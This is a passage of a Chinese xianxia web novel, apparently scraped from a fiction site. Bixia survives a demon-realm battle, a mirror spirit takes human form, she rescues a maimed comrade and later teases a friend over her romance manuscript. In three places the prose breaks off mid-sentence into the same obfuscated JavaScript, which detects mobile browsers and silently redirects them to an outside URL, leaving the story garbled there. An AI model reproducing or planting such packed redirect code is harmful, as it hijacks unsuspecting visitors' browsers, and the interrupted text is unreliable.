蛇妖忽也不急了,躲在一旁偷摸汲取着逸散到空气中的力量。 短刃在上面比划了两下,碧霞双手握着剑柄,正要将其中一条斩断—— 洞穴内,忽然炸起一阵哗啦啦的镜碎声,像谁猛地往地上摔了一面大镜子,吓人一跳。 声音主要是从身后传来,她惊慌地扭过头,在看到身后的景象时,不禁瞪大了双眼。 逼仄的洞穴内,无端端地出现了一名神采烨然的少年。 他像只垂落的风筝,从半空缓缓降落到地面上,一身流光溢彩的精致衣袍,湛蓝色的双眼簇簇新,里面是毫不掩饰的欣喜。 对于拥有生命,无法克制的蓬勃欣喜。 “不愧是渡过了彩色劫云的修士,两层灵气便抵我上千年的修行,直接让我化形了。”少年看着自己的双手,有些无法置信。 碧霞回过神,将短刃反握住,横在了身前,“喂,你是什么人?” “嗯?”少年目光自然而然落在那柄短刃上,然后才往上抬,对上碧霞的目光后,忽然露出一个轻蔑的神色。 他勾起一张与明河极为相似的唇,得意笑道:“可惜你晚了一步。” 17. 第 17 章 碧霞从头到脚地将面前这名男孩子打量,倨傲上挑的眉眼,挺翘细纤的鼻,晶莹饱满的唇,一一极为标致地嵌在那张紧窄的面庞上。身量细匀,倒是高,四肢躯干有一种刚从孩童长成少年的青涩感,不粗不细。 那副神情,忽而放弛,忽而紧绷,虽极力想要做出持重的模样,但就连这一方简陋的窄室,他的眼神都克制不住好奇地乱瞟,透着一股掩盖不住的稚嫩。 碧霞看他这样,主动放下了刀刃,也放下了戒备,有些老成地说道:“孩子,你是浩世镜的镜灵吗?” “正是本镜。” 少年目光从头顶一颗蓝宝石上移开,不耐地将下颌一抬,“小修,你最好称呼我为镜尊。” 说完,他慢条斯理地朝他们走过来,但看得出步伐仍有些歪斜,不习惯双腿。 碧霞回头看一眼明河,他因痛苦而生出的颤抖已经停止了,纠结的五官平静下来,像睡着了那样,恬静泰然,不过脸上仍布满汗珠。 浩世镜化形,不知这种情况他有没有预料过。 想起李元通在镜道内说过的浩世镜认主一事,碧霞拿出帕子给男人拭汗,顺嘴问道:“对了,仙尊有给你起名字吗?” 这一问,少年的脸瞬间拉了下来,呸了一声:“谁要他起名字,我要自己起!” 碧霞愣了愣,瞬间摸清了他心高气傲的性格,迟钝地点着头,“……抱歉,请问阁下的名字是?” “没想好。” 他讨厌起她来,甩下一句,同时啪嗒地甩着步子来到明河身旁。垂着一对剔透镜明的眼珠,居高临下,甚至是有些嫌弃地看着地上昏迷的男人。 碧霞望他一眼,既然浩世镜吸收了明河的功力化形,那么明河也算对他有恩。 现下当务之急是稳住仙尊的伤势,赶回恒阳山,与大部队汇合。 原本这对她来说是较为艰难的任务,此刻也算有了个帮手。 她将最后几颗补气丹化开在掌心,轻柔地抚上男人眉角,要从印堂穴将灵气渡送进体内—— 谁知一旁的少年忽然抬脚,用了至少七八成力气,朝男人结实的大腿猛踹了一下:“起来,你打算睡到什么时候?” 凝在掌心的灵气忽地抖散,“你做什么?” 碧霞心疼地揉着明河被踢的那处,少年显然也是一名修士,这一脚…… 少年翻了翻眼睛,“他陷进幻梦里了,你渡这点灵气有什么用。” 碧霞蓦地一怔:“幻梦?” 梦源于执念。很多时候,梦提醒着修士心中不容忽视的迷障。 境界越高,心境愈是澄明,便越难做梦。 尤其是最易令人迷失的幻梦,有时甚至能与行差踏错,走火入魔挂钩。 碧霞抿紧了唇,愧疚地去看明河的脸。 即使睡着,他浓密的眼睫仍在微微颤动,像蝴蝶呼吸的翅膀。梦中有使他沉沦的事物,超过一切真实存在的显赫身份,无上修为,万众敬仰。 是什么,不言自明。 碧霞忽然觉得窒息,再一次地被提醒了身份,她是仙尊的杀妻仇人,他最大痛苦的根源。 但碧霞安慰自己,仙尊应该还不至于滋生出心魔。 她不敢也不愿往那个地方想,对她来说不仅是无法逃避的罪愆,因为他的身份,更是会牵系上整个修真界。她已经承担不起更多代价。 少年捏着下巴煞有介事地分析起来,“定是和一个叫什么月的女人有关,在缝隙里时,他 就一直在脑海里念叨那个名字,搞得我待都待不安生。” “就这还仙尊呢,你说是吧?”他面露嘲讽,向她寻求认同般地挑了挑眉。 碧霞满怀心事地点了点头,但认同的是他第一段话。 踢的那一脚显然起了作用,虽然效果来得有些延迟。 怀里的仙君一双斜飞入鬓的凤眉,此刻平弯了下来,一点点拱簇着眉心,有种昙花绽放前神秘的悸动感。 他似乎尤在梦中,但比梦真实,自己真真切切地窝在一个熟悉的怀抱里,肩膀被柔韧的手臂牢牢承托着。 睁开脸庞上那对蓝色眼睛,便是渌水缓缓兴波,里面残留着一种恍如隔世般的迷茫。 碧霞还肆无忌惮地搂着他,一只手没有注意,随随便便就放在他的大腿内侧,猝不及防对上那双眼睛,吓得赶紧松开,跳着往后退了两步。 “仙尊,你觉得怎么样了?”她有些尴尬地笑。 明河凝视着她,一条手臂撑在地上,困惑的,求解般的凝视,可怜得像忽然搁浅的鲛人,眼里那点亮光逐渐隐去。 他有些落魄地支起上半身,坐在地上,从喉咙里咳一下,“走吧,耽误太久了。” 说完,摇晃地立起身子,才注意到身旁站了个少年。 “你以后就叫镜尘。”他稍稍侧过头,算是给了一个眼神。 少年一愣,当即不服地跺起脚,“凭什么?!你还没资格给我起名字!” 然而明河已经化成一抹流光飞出洞口,碧霞连忙跟上,两人一前一后,终于走出了那个逼仄的洞穴。 蛇洞是温暖的,树林却是冷的。 天色似乎清晰了一些,月虽被浓云裹住,但能看到纷乱树影后闪烁的几堆星子。 碧霞仰着头,没有注意到身后悄然逼近的刀光。 直到什么东西砸落在枯草叶上的声音响起,两颗硕大的青灰色头颅骨碌碌地沿着缓坡滚下,近在咫尺的血腥味钻进鼻腔。 碧霞悚然回头,小坡之上,立着两道无头黑影,离她已经不超过五步的距离。 那一柄寒光凛凛,通身巴掌宽的长刀就悬在她脑后,她竟没有意识到分毫。 “当心,大概有七十只。”明河指间弹落一片带血的薄叶,袖袍扬动,向后扫出一道冷风。 两道小山似的身体被风吹倒了,身后的树林密实得仿佛被布裹住,不见树与树之间的缝隙,黑影连着黑影,全是站在一起的魔兵。 不知什么时候,他们早已将这里包围。兵戈与鳞甲竟不反射出一丝光芒,气息掩藏得极好。 生与死无需多言,全凭手上本事。 打杀声中,碧霞听见有魔兵问:“凤主还没来吗?” 不知是谁问谁,碧霞只朝声音的方向劈出一道弯月状气刃,下一刻响起的只是哀嚎声与鲜血的飞溅声 有魔兵被拍断了整片胸口的肋骨,满身是血,踉踉跄跄地与她错身而过时,再次大声呼喊起那个名字。 凤主,凤主—— 然后,便被从蛇洞里钻出来的少年一剑斩杀了,泄愤般的。 碧霞回头,恍惚瞥见少年的腰间似乎盘了条金光闪闪的东西,不知是什么,来不及问。 他们几乎是一路杀出森林,再杀回到恒阳山。 明河杀得最多,他缓步顶在前头,那样的动作行云流水,似是闲笔挥就,不见招式既定的影子,也看不出丝毫灵脉受损的样子。 碧霞自然不如一位仙尊,过了半路便力竭了,何况还得顾念背上那个血淋淋的脆弱身体。 那是奇迹般尚存一丝气息的沈槐安。 在一个泥潭边,她忽然地就发现了断手断脚,被魔兵摧残得不成样子的他。本不忍去看,想起过去半个月来的相处,却忽然起了为其收尸的念头。 一路劈砍过去后,才发现沈槐安还活着。 碧霞毫不犹豫地将他抬到背上,割下身上的布条将两人绑在一起,又用藤蔓稳稳地缠了几圈。 只是杀了那么多魔兵,仍未见到他们口中那个被尊称为凤主的魔头出现,碧霞感到些许疑惑,总有种后背生凉,无法安下心的不详感。 但这毕竟是魔的主场,别人不来找他们,是再好不过了。 恒阳山的战斗也告一段落,这是一座本来就不怎么高的山,此刻,山峰与山脊完全被各种力量术法夷平。焦黑的地面上全是尸体,似乎燃过一场炽盛的烈火,每一具尸体都被烧得面目模糊,一片片地黏连在一起,分不清谁是修士,谁是魔物。 空气混浊,风中混杂着各种各样难闻的气味。不知是哪方用了毒,几团巨大魁梧的毒雾在废土上飘来散去,饥饿地想要寻找生命吞噬。 空中黑云扫净,整片天亮着惨然的白光,巨大的碧蓝色结界将两艘巨大的灵舸笼罩住。 甲板上人头攒动,不少修士负了伤,隐隐的啜泣声回荡其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952416|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。 一上灵舸,明河仙尊便口吐鲜血,扶着船舷坐倒身子,而后立即被一群人关切地围住。碧霞瞬间就看不见他的身影了。 她转了转,解下沈槐安放在一张无端空着的软垫上。打算叫人时,几名医修主动从围着仙尊的人群里挤了出来,为沈槐安检查伤势。 看见这种严重的伤,几人都不免感到诧异。 “残忍的魔物。”有人充满恨意地评价。 碧霞呆站在一旁,完全不知道沈槐安是如何活下来的。他的手脚各缺了一条,在同一边,此刻看起来像只剩半边的人,有一种滑稽感。 胸口被捅了几刀,无疑的致命伤,没有错过心脏的道理。头颅严重变形,一边深深地凹陷下去,一边高高地肿起,满头青丝被彻底扯秃了,双眼被剜割成乌黑的血洞,魔物恶意地塞了两团枯草进去。 但他就是留了一口气,一路上,大张着破碎的唇,尽可能地向外汲取新鲜空气。 碧霞像是醍醐灌顶般,对他在鸟背上说的话有了更直观的认知。 凭什么觉得自己活不下去。原来不止是信她,他也这样信着自己。 这一定不是源于他笃定自己也是个天才这种虚无缥缈的优越感。 那一番话,或许只是安慰碧霞,生命是宝贵的,不管是对天才还是平凡人来说。 还好,碧霞庆幸自己将他背了回来,像是自己经历了一遭劫后余生,恍惚失力地蹲在甲板上。 “还有救吗,求你们快想想办法。”她趴下来,想要为他渡送灵气。 医修们赶忙拦下她的动作:“不要急,此刻任何一个动作都可能断送他的生机。” 几人短暂商量片刻,便将沈槐安转移到了室内,碧霞最后一眼看他,身上贴满了各种灵符,脑袋更是被一条长长的符纸完全裹住。 她自然也想去看看明河的情况,但和在蛇洞里不同了,两人间的距离回归到了原位,左右轮不到她。 在这之后,灵舸上的众人又整顿了大概一个多时辰,方撤掉结界,浩世镜的镜灵将所有人传送了回去。 此次魔界行动大捷,死亡四百余名修士,消灭了八万数目左右的蝠魔,一千四百多魔兵,八千七百头魔兽。最重要的是重固了封印,如无意外,修真界可以享受很长一段时间的安宁。 碧霞没有急着从灵舸上下去,她想着至少得在离开前再去看看沈槐安。 这一去,就发现那间安置他的屋子里多了一堆人。 本人虽未醒,那些人却依然忧心忡忡地叫着他的名字,像是都与他熟识的朋友。 碧霞在门边犹豫了一会儿,只好自己一个人走了。 秋光放晴,戡魔崖内热闹得像过年,虽死了人,但打了胜仗,多数人的脸上还是挂着笑容。 一路回到逸字间内,谢韬大敞着房门,在床边轻快地收拾行李,嘴里还哼着首咿呀婉转的小曲。 谢韬看到她后,难以置信地眨了眨眼睛,而后立即放下手里的东西,冲过来将她紧紧抱住:“碧霞师姐!” 她放开她的脖子,转而激动地拉住双手:“我不是看错了吧,我听说去封印裂缝的修士们全死了,你还活着?” 碧霞叹了口气,拔下发髻上的银簪,四肢疲累,气海空虚,身上全是魔兵腥臭的血液。 “是啊,还挺凶险的。”神辉宗那些佼佼者尽数被灭,她看着谢韬,挤出一个笑容,“就活了两个,还有一个是我之前跟你提过的同门。” “你能活下来就好了,你看,我也活了下来。”谢韬举起手里的行令腰牌,脸上的笑容是由衷的,“而且还杀了不少魔兵呢,多亏你给我的那些符咒,威力比符镇卖的那些强多了。” 腰牌里记录下的功绩,能让她换取一笔不小的报酬了。 碧霞心里却不怎么高兴得起来,只是一个劲地点头,绕到屏风后,将一身血衣换下。 谢韬后知后觉她的情绪,过来拍拍她的肩膀,神色有些不好意思,“师姐,我走了,反正对我来说你能活下来就够了。” “啊,慢走。” 门合上,碧霞坐到床边,抬手摸上脸颊,贴在真实面庞上的面具带来一股窒息的逼仄感。 18. 第 18 章 廊外人来人往,各种嘈杂声音涌进室内,碧霞披一件单衣,关紧门窗,倒在床上一觉睡了四五个时辰。 再醒来是半夜,出去看了看,整座阁楼已人去楼空,静得像个掏空的龟壳。但每层楼仍亮着数道莹石壁龛,将连廊和大厅照得灯火通明。 耗损了那么多灵力,体内那股寒气自然趁虚而出,坠得小腹僵僵冷冷,气海仿佛都被冻住。 碧霞从錾金小方盒内抓出两枚热硫丹,扔进嘴里咀嚼。又草草地画了张火符,拿进浴房点燃。 符纸燃尽在池底,不留下一丝黑灰,热流涌散后,玉石砖缝间便嘶嘶地溢出了干净的热水。 然后,水越来越热,直到碰一下就染红皮肤的程度,丈来宽的室内白雾蒸腾。 碧霞很喜欢浸在热水里的感觉,她感觉自己和大多数修士都不一样,完全受不了一点冷。 她也不会饿,但对“饭点”有种异常的执着,到了时候,便老想往嘴里塞些什么,不然总觉得心里空落落的,走路都没有力气。 当然,没有力气只是她的幻觉。 不过她身上活着一个凡人影子的感觉却是不假,在之前,这种感觉还要更为鲜明,现已被时间冲淡了许多。 只是冲淡这个词还是太可怕。 有一种直觉,让碧霞更愿意用掩盖这个词,冲淡或许也正确,只是时而感到无力,像有另一个自己被匆匆揭过,不甘地拧着她的皮肉。 掩盖的话,她还在那里,还在底下,静静地蛰伏着。 洗净一身尘污,水也冷了。 碧霞换上一套赭红色榴裙,犹豫再三,又坐到了镜前,往脸上贴了张新皮。 没有再等,半夜赶路正好符合碧霞的性子,一路优哉游哉,不急不忙。 晨光照破天际时,正好飞越四千级台阶,到达嘉应宗那巨大如天缺的山门前。 据说,把宗门位置修得越险峻,越能彰显一宗实力。 她想嘉应宗算是勉强做到了。 主脉虽山势平缓,但两扇坚实厚重的青灰色大门却紧贴着峭壁边缘而建。 再往前小半步,就是直直垂下去,又陡又窄的石阶,开凿得相当随意,像小孩细细的牙齿,难以支持。 门外几乎没有供人驻足的地方,门上也不嵌任何门扣提环,由此便强行营造了一种凛然而不可攀附的气势。 碧霞御剑凌空,大门阵法感应到她身上的金元峰的令牌,将她放了进去。 进去后,便是一个极为宽阔的广场,要到达第一座建筑掌门大殿,就有近接十里的路程。加上那两扇几乎要修进峡谷内的大门,不知是谁想的主意,充满了装腔作势。 碧霞一路飞到执事堂的门前,透过半开的门扉,看到有弟子早早就坐在帘后办公了。 她收了剑,拂了拂被露水打湿的发尾,掀帘走进去。 “劳烦。”行令牌被轻轻放在桌上,硌出声响。 年轻的外门弟子正在埋首,还没看到人,就率先露出个灿烂的笑来,而后才抬起一张新月般的脸庞,眸子亮晶晶的:“辛苦了,师姐。” 他放下手中毛笔,拿起那块铜牌翻看两下,然后抽了张新纸记录里面的信息。 清澈的眼睛扫过来,忍不住和她寒暄:“师姐是刚刚才回到宗门?” 碧霞很少见到大早上心情就那么好的人,不免也有些意气风发的和气,像个彻底的长辈,“是啊,有些累,就在戡魔崖内睡了一觉。” 果然年轻就是不一样,比平日那些老家伙亲切多了。 “我倒是一点也睡不着,早早就爬起来干活了。” “哦?”碧霞拔高了一些声调,“是有庆典吗?” “你怎么知道,有庆功宴!”他声音一下大到传遍整个空荡荡的公堂,整个人都欢欣鼓舞。 碧霞仔细去看他,也不过是个十几岁的少年。 “怪不得这么高兴。”她莞尔笑道,身后拨弄桌上一棵蓬莱竹那绿云般的叶片,慢悠悠地编着,“我懂你,以前刚入宗那会儿,听到第二天要举行宴会也是整宿激动地睡不着。” 仙途漫长,自然需要各种各样的聚会来打发寂寞。这点修士和凡人倒是一样。 但他忽然将话锋一转,否认了她的想法,“不,师姐,你不懂。你才不懂我们这样的底层修士。” 碧霞微微一怔。 少年用手指抠了抠铜牌上嵌着的紫珠,碾碎在手里,细细的珠粉像沙子一样洒落在纸面上。 他的声音冷静了一点,不急不缓,寻常聊天的语气:“先前都传言魔界封印将破,一直担惊受怕来着,因为到时先死的肯定是我们这些没什么本领的。说实话,我和几个好友都商量好要向宗门辞行了,随便躲进哪个深山老林。这下不用了,多亏你们的付出,至少不用丧命在魔物爪下,怎么能不高兴呢。” 说完,他有些不好意思地抖了抖肩膀。 碧霞眯了眯眼睛,感到些许错愕,“有这么严重吗?” 她听到的明明就是魔界势力统一,所以仙界打算先发制人,没想到在他们那里变成了魔族即将打破封印。 而且她觉得普通魔物并不强,完全达不到令人闻风丧胆的地步。 “谁知道呢,反正封印不稳确实是很久以来的事了。” 他将行令牌放下,神色犹豫,忽地问道:“这次大战我们死了多少人?” “好像是四百零三。”碧霞眼底浮现出一点凛然的寒芒。 少年匆匆低下头,像被烫了一下,仿佛他的命是其中一个死去修士的命换来的。 他兀自咕哝着,“那和宣布的一样啊……” 纸面有了变化,那些紫色粉末径自在纸上移动,散发出光芒,构成数十行细小的文字。 碧霞其实不知道里面是什么来着,也扭着头好奇地往前凑。 左边的金字稍大,是主要的功绩——诛杀魔兵八十七;封印仙魔两界裂缝;冒死救下濒死修士一;救助明河仙尊。 看到最后,碧霞没忍住嗤笑了一下。这行令牌这么神奇,竟连她碰上仙尊的事都能记录。 而且还特地将仙尊和沈槐安区别开来,也是个势利的。 隔了半个拳头的距离,右面还有大概七八行长长的紫色小字,亮着荧光,都是些她在魔界用过的所有招式: 天钺封魔阵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962937|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ;太乙隳流刀剑阵;娲皇灵功第一式;晴云诀终式;流云剑阵…… 大致读下来,精准且无有错漏。 “师姐果真非同凡响。” 少年钦佩地看她一眼,面前之人的金字比他看到的大部分出战修士都多。 光封印两界裂缝这点,含金量就不必多说。还有后面这个救助仙尊。 似乎都是他头一次见到。 他将手伸往笔架,在另一张纸上将那些字誊抄出来。 碧霞有些不懂,想问,又觉得没必要,再次无所事事拨弄起那盆蓬莱竹。 抄完,少年却主动解释了起来。 “这份墨字的是要留在宗内的。”他左手五指压住另一份,“这份则要送往仙盟。因为酬赏有两份,仙盟的东西会在几天后统一送来。” “原来如此。”碧霞了解了,又好奇道:“请问都有那些东西吗?” “一个魔兵十块上品灵石,后面这些要另外经过执事堂和长老们商量。” 少年点着那几个金字,红嫩的嘴唇后露出一点银润的牙齿,似乎在咂摸,“嗯……不过师姐相信我,好东西是绝对不会少的。” 碧霞笑了笑,眸中亮出一点期待的光芒。 虽说她进入魔界的主要目的是为金元峰建功,报酬是次要的,但托她的福,这些年家里确实给不了小辈们多少修炼资源。 “那我就先告辞了,师弟。”她微微颔首。 少年竟还从椅子上站起来,向她鞠了一躬,“师姐慢走。” 刚跨过门槛,碧霞就想起什么似的,急匆匆折返回来。 “师弟,能不能在墨字那份上把帮助仙尊那项抹掉。” “啊?”少年提笔的动作顿住,困惑地眨了眨眼:“为什么?” “哎呀!拜托了。”碧霞有些磕巴,目光求助般的闪烁着,“这、这份功劳太大了,我有些担当不起。” - 一踏进天织阁,碧霞就听见女修们吵吵嚷嚷的声音。 “祝曦,你再把那些凡人带进天织阁,信不信我把你头拧下来。” 这声音碧霞熟悉,话如其人,是一个脾气十分暴躁的女修,碧霞从来不敢近她的身。 环视整个诺大的粉红色殿厅,与离开前相比,最大区别是墙边摆满了各类花卉。 虎头茉莉,各色月季,白木槿,什么都有,颜色又多又杂。玉砖下埋了灵石,花叶被暖融融的灵气熏烘着,开得比外面要舒服太多。 大殿右侧的垂拱形小花厅外,立着几扇高大的飞天彩绘燕雀屏风,材质是半透的纱绢,女修们的影子映照过来,比正面的飞天还要妖娆几分。 发生在魔界的战争波及不到此处,她们有身份,有能力,依旧活得恣意从容,言笑晏晏,互损互闹。 祝曦用帕子擦了擦飞到脸上的口水,“姐妹们,注意一下仪态,你们知道我为什么能成为天织阁阁主吗?” “因为你是我们中最造作的那个。”女修们凑在一起取笑她。 碧霞想想,还是不进去了,身后却忽然卷起一阵风,接着桃夭的声音响起,“好你个碧霞,回来也不先跟我说一声。” 19. 第 19 章 “桃夭?”碧霞侧过身,穿着粉纱的女子鲜妍明媚,几步飘然身法就来到她身旁。腰下挂着几根银灿灿的珠索细链,一片桃红间添色不少。 “怎么样,是杀了多少魔兵啊?”桃夭顺势挽住她的手,粉面桃腮,眼尾揶揄地微挑。 她的眉心还贴着两簇鳞爪一样嫩黄的蕊,整个人确实像一朵桃花成了精。 “八十七名。” 碧霞老实回答,下颏豪爽地往前送了送,有好处当然要和好友分享,“听说一个魔兵人头可以换十块上品灵石,到时分你一些。” “哎哟,暴发户呀,你还是自己留着吧。” 话虽如此,桃夭却因着这句话,面庞浮现出了笑盈盈的喜色。 她热切地拉着她,一边聊,一边绕过那块大屏风,往花厅里走。 “不过你这副脸色怎么回事?”桃夭担忧地瞥她一眼,“下午我送些露凝干花瓣过来,拜托厨房那些人给你熬一锅药膳,吃了补充灵气。” 修士虽不食五谷,但天织阁却少见地设置了厨房,有时候做饭也是一种乐趣。 但碧霞可不敢让她们给自己做什么,说实话,她在天织阁的位置有些尴尬。 失去了身份地位没关系,一个万中无一的修炼功体便足够当成入场券。 但偏偏她还是杀害少宗主夫人的凶手,虽然那个叫素月的女人也是她们瞧不起的凡人,但到底有些物伤其类的感觉。女修们都是敏锐又谨慎的人精,有时看到她,便有一种生理上无法控制的,自己都没意识到的恐惧,像看到一种专杀女人的伥鬼,避之而不及。 “其实那些魔兵挺厉害的。”碧霞说道。 她走出执事堂,又回了一趟金元峰,在秋光粼粼的镜前卸下易容/面具,发现自己的脸色苍白得吓人。 回忆着当时的场景,也不知道为什么,就在执事堂里觉得魔类不强,她杀到气海耗空,才杀了八十多个。 而且…… 她叹了口气,有些沮丧,“有很多算是我捡来的,当时我跟在……跟在仙尊身后,他打伤了那些魔兵,我才能——” 这时,碧霞忽然注意到桃夭的另一条手臂上挎了个鼓鼓囊囊的藤编花篮,几根花枝压着一沓折起来的白纸,墨色隐隐透过纸面。 碧霞当即眉心一激,心说她该不会又把自己的手记偷了,准备着要到女修们面前念吧。 已经有人透过走廊注意到她们。 碧霞松开桃夭,绕到她身后快速探出手,将那沓白纸轻巧地拈了过来。 桃夭还在笑,嘲讽地摇了摇头,“又仙尊上了,你怎么——诶?” 颈后掠过一缕风,碧霞的动作快得看不清,她下意识去看自己的篮子,几只淡橘色的月季滑了出来,掉在地上。 “你又拿我的东西!”碧霞先发制人,后退两步,快速展开那叠白纸。 “干嘛?”桃夭疑惑地瞪大眼,回过神来连忙反驳道:“死丫头,这是我的!” “去,我一看便知。” 桃夭歪歪嘴,无语地看着碧霞,头上的几只累丝点翠珠凤簪随着她跺脚的小动作生动地颤起来,“赶紧还我,我没写完呢。” 但她没有第一时间过来抢,本来就是打算写给别人看的。 碧霞背过身,像那天桃夭在床上躲着她那样,在纸面上匆匆一看,只看了第一行,就看到了枫离两个字。 她钝钝地哦了一声,那这确实不是她的。 “看吧,你那些白日梦我已经不感兴趣了。”桃夭抬起手说道。 “真的假的?” 那简直是再好不过了,她还没来得及回房间查看,原本走之前还懊悔没将那些手记藏稳呢。 碧霞面带笑意地转过身,将纸折好,打算还给她。下一刻,忽地眼睛一定,像有一道天意无形中猛然降临到她身上一样。 不行,她得报一报仇。 桃夭施施然走过来,水红的指尖已触到纸面一角,碧霞反手将东西再次揣回怀里。然后迅速矮下身子,从桃夭胳膊下钻过去,不顾她的呼喊,一溜烟跑进了花厅。 “回来了?”段宝晴也在,正在玉砧上切着一只雪白的梨,见她跑进来便问,“诶,你们在外面抢什么呢?” “姐妹们,我有一些重要的事情要宣布。”碧霞脸上憋着笑,将纸抖开。 有人是知道她去了魔界的,好奇道:“是关于魔界的好消息?” 碧霞摇摇头,没有回答,只是清了清嗓子,笑得双颊泛出一丝血色。 她开始绕圈,当着十几名女修的面,字正腔圆地将那些文字念了出来: “枫离怎么也没想到,素来矜冷自持的自己,有一天会提着啸月剑,闯入那座有仙尊坐镇的殿宇中,只为了那名使他一见倾心的少年。” 桃夭早已追了进来,叉着腰站在台阶上,威胁地狞笑:“好好,碧霞,你这么对我是吧?” 碧霞已经猜到这是个什么样的故事了,努力保持着气息的平稳,无视她的威胁,同时和桃夭拉开距离。 “少年名叫长轩,自幼体弱多病,被娇养在深院之中。十八岁那年的春天,他看着庭院内的落花,有感韶华如斯零落。再也无法忍受被禁锢般的生活,于是奋力一跃,跃出了那道高墙。” 像是玩闹,有梳着花苞头的女修从地上爬起来,调皮地来捉她,“什么呀,碧霞姐姐。” “桃夭仙子的大作呢,她邀请诸位一同观摩。” 碧霞将纸举起来,假模假样地冲女修们比了个大拇指,同时提高了一些声音。 “咳咳,长轩身娇体弱,别说跳墙,就是爬上墙头都耗光了所有力气。他几乎像是从墙上栽倒。慌乱之中,他注意到墙外正路过一名高大俊美的青年。那青年抬头见了他,立即伸出手,先是托住他光裸的脚踝,然后勾住他单薄的膝弯,动作灵活有力得不像个凡人。长轩被他接住,青丝从半空中扫落,连同着春风一同拂在青年的脸上。枫离一时分不清,那扑面而来的香气,是风里的花香还是少年的发香。” “这念的什么恶心东西。”一名穿着鹅黄齐胸襦裙的女修没忍住翻了个白眼。 “像是癔症犯了。” 桃夭听到女修们不喜欢,呆了呆,似是没想到,一下涨红了脸,冲过来羞臊地抢回那堆东西,“快还给我,我真的要生气了!” “给你给你!” 碧霞笑着跌坐在一张珠紫色的软垫上,挤出的泪水让眼睛看起来亮晶晶的,她撑腮看着桃夭,“唉,这也太蠢了吧,你已经打听清楚那名少年的身世了?” 桃夭胡乱将纸塞进袖口里。气不过般,手指隔着宽大的袖口,照着碧霞的肋下直接拧了一把,“你才蠢呢,比你写的仙尊唔——” 碧霞眼疾手快地捂住她的嘴。 厅内燃着火炉,钳子夹破坚果壳的声音伴着炭火上茶水的咕嘟声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16973029|192644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在秋天里,热得有些不像话。 自然也有女修比较感兴趣,看着缠斗在一起的两人问道:“然后呢,爬个墙就没力气,这也太弱了吧。” “唔唔——”桃夭说不出话,抬起双腿,反锁在碧霞腰上,试图将碧霞从身上拱下去。 红裙叠着粉裙,两人默契地不使用灵力。 “然后啊,”碧霞拖着声音,“当然是一见钟情,仙君把凡人带回宗门过神仙日子了呗。” 那些凡界的话本都是这么写的,千篇一律,供人消遣。 “不过说真的,那个凡人少年比那些女人看起来顺眼多了,虽然弱不禁风,但好歹不会在宗内噗噗下崽。” 话有点粗俗,但整屋的女修都笑了起来。高高在上的嘲笑,仿佛在笑一种无法控制自身排泄的低等动物。 碧霞忽觉没劲,放开桃夭,扯了扯裙子,拖过桌上一盘松子仁磕起来。 祝曦像是一直在想别的事情,摩挲着茶杯,忽然有了主意:“诶,既然你们不愿意我帮那些凡人女子,那我去帮那个长轩总行了吧?” “轮得到你帮啊,不是还有枫离神君吗,我看他俩就是真的。”段宝晴有些激动地嚷嚷起来。 “那我要去哪里找凡人啊?” 祝曦苦恼地皱起眉头,秋光漫入室内,步摇的影子晃在她裸露的雪肩上,确实让她多了股神圣感,“淄山神女就是要帮助凡人的,谁帮得多,谁就能当选。” “还神女,都是虚名,骗修士给凡人输血的,有什么好贪的。” “修士帮助弱小还有错吗?” “哦?你所谓的帮,就是把她们带进天织阁,然后把我们平时做的裙子送给她们?” 一名只穿了白色里衣的女修双臂抱在胸前,眉梢高高挑起,苛责地看着她。 祝曦低头,伸出两根大拇指浅浅压在桌沿,嗫喏道:“几条裙子而已嘛。” “臭死了,反正以后少带些不干不净的人进来。” “知道啦。”祝曦撇撇嘴。 怪不得忽然多了那么多花,原来是拿来熏殿的吗?碧霞想。 不过又不是叫花子,哪里就臭到那种地步。她能笃定,所谓的臭也只是她们的心理好恶的延伸罢了。 一群—— 她翻起一只倒扣的茶杯,顺势问道:“淄山神女是什么?是两界交界处的那个淄山?” “是那,谁赢得淄山神女的名号,仙盟就在淄山上为她盖一座神女庙,每年春夏可以让凡人过来朝拜。” 桃夭翘着脚,躺在她身后暖融融的地板上,慢腾腾地回答她,整理着自己被弄乱的手稿。 “碧霞,你可别想跟我抢啊,这神女我当定了。”祝曦投过来一个戒备的目光。 “祝阁主,你那么想当这个神女,为什么不去凡界呢?”碧霞笑了笑,真诚建议道。 “她才不会去凡界呢,你还真要她亲力亲为,为凡人做出什么实际的事情来啊。”段宝晴起身,将梨块倒入陶壶中,连同她在内,在场女修都很清楚祝曦的德行。 “是啊,她又不是什么从凡界被找回来的少宗主,哈哈——”女修帕子咬在唇边笑道。 